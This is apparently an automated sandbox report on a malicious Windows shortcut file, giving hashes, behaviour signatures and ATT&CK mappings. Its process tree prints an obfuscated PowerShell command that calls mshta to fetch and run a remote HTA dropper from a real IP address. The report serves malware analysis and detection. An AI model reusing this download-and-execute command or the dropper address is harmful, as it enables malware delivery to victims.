4b486adae8edec860dbda84fc7fbcc7e8b68e5542a2c5c212660d3a00ba30351

Analysis

max time kernel
41s
max time network
38s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
27/04/2024, 01:46

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General

Target

4b486adae8edec860dbda84fc7fbcc7e8b68e5542a2c5c212660d3a00ba30351.lnk
Size

2KB
MD5

dd7f375506633459283254867ca7dcb5
SHA1

82bc8b93d322f205e38d6783fdb8f9147b1d96d9
SHA256

4b486adae8edec860dbda84fc7fbcc7e8b68e5542a2c5c212660d3a00ba30351
SHA512

e3ad28d4aca5aa8c75d2f92f6f8ecfc21d56db938737786f53c70f6e2a6d3115a09392169513cdbf067eb362f732c31c2ff13fd899496c24a2ceb27b8ba536ec

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.223.3.158/pacs/star.hta

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	3320	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2276	powershell.exe
2276	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2276	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4720 wrote to memory of 2276	4720	cmd.exe	84
PID 4720 wrote to memory of 2276	4720	cmd.exe	84
PID 2276 wrote to memory of 3320	2276	powershell.exe	85
PID 2276 wrote to memory of 3320	2276	powershell.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\4b486adae8edec860dbda84fc7fbcc7e8b68e5542a2c5c212660d3a00ba30351.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')http://91.223.3.158/pacs/star.hta
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" http://91.223.3.158/pacs/star.hta
    3⤵
    - Blocklisted process makes network request
    PID:3320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_knjeabkl.p2b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2276-3-0x00000194229E0000-0x0000019422A02000-memory.dmp

Filesize
136KB

Download
memory/2276-12-0x00007FFB04340000-0x00007FFB04E01000-memory.dmp

Filesize
10.8MB

Download
memory/2276-13-0x0000019422A30000-0x0000019422A40000-memory.dmp

Filesize
64KB

Download
memory/2276-16-0x00007FFB04340000-0x00007FFB04E01000-memory.dmp

Filesize
10.8MB

Download